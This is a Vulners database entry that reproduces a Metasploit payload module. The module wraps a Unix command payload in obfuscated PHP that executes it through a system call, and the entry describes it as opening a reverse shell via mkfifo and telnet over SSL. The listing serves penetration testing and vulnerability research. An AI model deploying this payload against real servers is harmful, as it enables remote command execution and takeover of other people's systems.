Lucene search
K

OS Command Exec, Unix Command Shell, Reverse TCP SSL (telnet)

🗓️ 09 Jun 2025 18:51:26Reported by Spencer McIntyre, RageLtMan <rageltman@sempervictus>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 438 Views

Executes a PHP OS command to create an interactive shell via mkfifo and telnet with SSL.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  include Msf::Payload::Adapter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS Command Exec',
        'Description' => 'Execute an OS command from PHP',
        'Author' => 'Spencer McIntyre',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'License' => MSF_LICENSE,
        'AdaptedArch' => ARCH_CMD,
        'AdaptedPlatform' => 'unix'
      )
    )
  end

  def generate(_opts = {})
    payload = super

    vars = Rex::RandomIdentifier::Generator.new(language: :php)

    <<~TEXT
      #{Msf::Payload::Php.preamble(vars_generator: vars)}
      #{Msf::Payload::Php.system_block(vars_generator: vars, cmd: payload)}
      ?>
    TEXT
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation